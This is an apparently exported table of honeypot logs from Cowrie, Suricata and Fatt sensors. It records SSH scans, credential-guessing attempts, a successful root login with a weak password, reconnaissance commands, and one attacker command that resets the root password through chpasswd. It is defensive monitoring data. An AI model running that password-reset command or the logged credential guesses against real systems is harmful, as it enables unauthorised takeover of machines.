attacker	\N
32666	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:20.84059+03	2021-09-20 15:00:03.774716+03	{"_id": "8AYNA3wBvYTbRNuEr0vd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "43785dc28314", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:53:20.840590Z", "@timestamp": "2021-09-20T11:53:20.840Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32659	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:53:20.390691+03	2021-09-20 15:00:03.765716+03	{"_id": "zQYNA3wBvYTbRNuErkts", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "159.253.30.249", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 55810, "timestamp": "2021-09-20T11:53:20.390691", "@timestamp": "2021-09-20T11:53:20.390Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32660	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:20.55888+03	2021-09-20 15:00:03.766716+03	{"_id": "8QYNA3wBvYTbRNuEr0vf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:20.558880Z", "@timestamp": "2021-09-20T11:53:20.558Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32661	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:53:20.755893+03	2021-09-20 15:00:03.768718+03	{"_id": "6wYNA3wBvYTbRNuEr0vd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "243925d06499", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:53:20.755893Z", "@timestamp": "2021-09-20T11:53:20.755Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
32662	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:20.385602+03	2021-09-20 15:00:03.769719+03	{"_id": "7AYNA3wBvYTbRNuEr0vd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 159.253.30.249:55810 (192.168.176.2:22) [session: 43785dc28314]", "session": "43785dc28314", "@version": "1", "protocol": "ssh", "src_port": 55810, "dest_port": 22, "timestamp": "2021-09-20T11:53:20.385602Z", "@timestamp": "2021-09-20T11:53:20.385Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
32663	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:53:20.036355+03	2021-09-20 15:00:03.770717+03	{"_id": "7QYNA3wBvYTbRNuEr0vd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.62.82.9821415109.199.241.180'", "session": "243925d06499", "version": "b'SSH-2.0-8.35 FlowSsh: FlowSshNet_SftpStress127.62.82.9821415109.199.241.180'", "@version": "1", "timestamp": "2021-09-20T11:53:20.036355Z", "@timestamp": "2021-09-20T11:53:20.036Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
32664	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:20.216013+03	2021-09-20 15:00:03.771716+03	{"_id": "7gYNA3wBvYTbRNuEr0vd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.login.success", "message": "login attempt [root/asd123456789] succeeded", "session": "276618e7e832", "@version": "1", "password": "asd123456789", "username": "root", "timestamp": "2021-09-20T11:53:20.216013Z", "@timestamp": "2021-09-20T11:53:20.216Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	\N
32667	159.253.30.249	109.199.241.180	Suricata	2021-09-20 14:53:20.44779+03	2021-09-20 15:00:03.775716+03	{"_id": "9QYNA3wBvYTbRNuEsUtL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "159.253.30.249", "dest_ip": "192.168.20.116", "flow_id": 1878242721019170, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55810, "dest_port": 22, "timestamp": "2021-09-20T11:53:20.447790Z", "@timestamp": "2021-09-20T11:53:20.447Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
32668	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:21.592751+03	2021-09-20 15:00:03.776717+03	{"_id": "-QYNA3wBvYTbRNuEs0vE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "96.78.175.36", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.36586523056030273, "duplicate": true, "timestamp": "2021-09-20T11:53:21.592751Z", "@timestamp": "2021-09-20T11:53:21.592Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32669	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:21.226964+03	2021-09-20 15:00:03.778716+03	{"_id": "9wYNA3wBvYTbRNuEs0vE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-sparc-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:21.226964Z", "@timestamp": "2021-09-20T11:53:21.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32670	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:21.88398+03	2021-09-20 15:00:03.779717+03	{"_id": "-wYNA3wBvYTbRNuEs0vE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "top", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: top", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:21.883980Z", "@timestamp": "2021-09-20T11:53:21.883Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32671	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:21.943243+03	2021-09-20 15:00:03.780717+03	{"_id": "_AYNA3wBvYTbRNuEs0vE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "43785dc28314", "@version": "1", "duration": 1.5549914836883545, "timestamp": "2021-09-20T11:53:21.943243Z", "@timestamp": "2021-09-20T11:53:21.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32684	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:23.605779+03	2021-09-20 15:00:03.797717+03	{"_id": "FQYNA3wBvYTbRNuEu0yV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "0d206a306e54", "@version": "1", "timestamp": "2021-09-20T11:53:23.605779Z", "@timestamp": "2021-09-20T11:53:23.605Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32672	218.92.0.190	109.199.241.180	Suricata	2021-09-20 14:53:21.573641+03	2021-09-20 15:00:03.782717+03	{"_id": "_QYNA3wBvYTbRNuEtUsz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:53:20.574954+0000", "pkts_toclient": 1, "pkts_toserver": 2, "bytes_toclient": 74, "bytes_toserver": 148}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 20, "action": "allowed", "category": "Attempted Information Leak", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 2, "signature": "ET SCAN Potential SSH Scan", "signature_id": 2001219}, "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "218.92.0.190", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1167328996804074, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 23152, "dest_port": 22, "timestamp": "2021-09-20T11:53:21.573641Z", "@timestamp": "2021-09-20T11:53:21.573Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	known attacker	\N
32673	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:22.105353+03	2021-09-20 15:00:03.783717+03	{"_id": "_gYNA3wBvYTbRNuEt0us", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:22.105353Z", "@timestamp": "2021-09-20T11:53:22.105Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32674	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:53:22.130273+03	2021-09-20 15:00:03.785717+03	{"_id": "BgYNA3wBvYTbRNuEt0yt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "243925d06499", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:53:22.130273Z", "@timestamp": "2021-09-20T11:53:22.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
32675	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:22.223468+03	2021-09-20 15:00:03.786717+03	{"_id": "AwYNA3wBvYTbRNuEt0yt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "159.253.30.249", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11819624900817871, "duplicate": true, "timestamp": "2021-09-20T11:53:22.223468Z", "@timestamp": "2021-09-20T11:53:22.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32676	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:22.397634+03	2021-09-20 15:00:03.787716+03	{"_id": "CAYNA3wBvYTbRNuEt0yt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-m68k-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.session.params", "message": [], "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:22.397634Z", "@timestamp": "2021-09-20T11:53:22.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32677	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:22.509762+03	2021-09-20 15:00:03.788716+03	{"_id": "CQYNA3wBvYTbRNuEt0yt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "159.253.30.249", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "276618e7e832", "@version": "1", "duration": 0.11220932006835938, "duplicate": true, "timestamp": "2021-09-20T11:53:22.509762Z", "@timestamp": "2021-09-20T11:53:22.509Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32678	80.158.23.146	109.199.241.180	Suricata	2021-09-20 14:53:23.3379+03	2021-09-20 15:00:03.790716+03	{"_id": "CgYNA3wBvYTbRNuEuUwb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:53:23.337900+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM FIN recv but no session", "signature_id": 2210037}, "geoip": {"ip": "80.158.23.146", "asn": 3320, "as_org": "Deutsche Telekom AG", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "src_ip": "80.158.23.146", "stream": 0, "dest_ip": "192.168.20.119", "flow_id": 310824471308268, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 80, "dest_port": 39852, "timestamp": "2021-09-20T11:53:23.337900Z", "@timestamp": "2021-09-20T11:53:23.337Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32679	159.253.30.249	109.199.241.180	Cowrie	2021-09-20 14:53:23.203336+03	2021-09-20 15:00:03.791717+03	{"_id": "DQYNA3wBvYTbRNuEu0yV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "159.253.30.249", "asn": 43948, "as_org": "GleSYS Internet Services AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "input": "echo \\"root:W9U0Wff3SVeX\\"|chpasswd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "159.253.30.249", "eventid": "cowrie.command.input", "message": "CMD: echo \\"root:W9U0Wff3SVeX\\"|chpasswd|bash", "session": "276618e7e832", "@version": "1", "timestamp": "2021-09-20T11:53:23.203336Z", "@timestamp": "2021-09-20T11:53:23.203Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32680	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:53:23.205305+03	2021-09-20 15:00:03.792717+03	{"_id": "DwYNA3wBvYTbRNuEu0yV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "96.78.175.36", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "0d206a306e54", "@version": "1", "duration": 0.46935224533081055, "duplicate": true, "timestamp": "2021-09-20T11:53:23.205305Z", "@timestamp": "2021-09-20T11:53:23.205Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
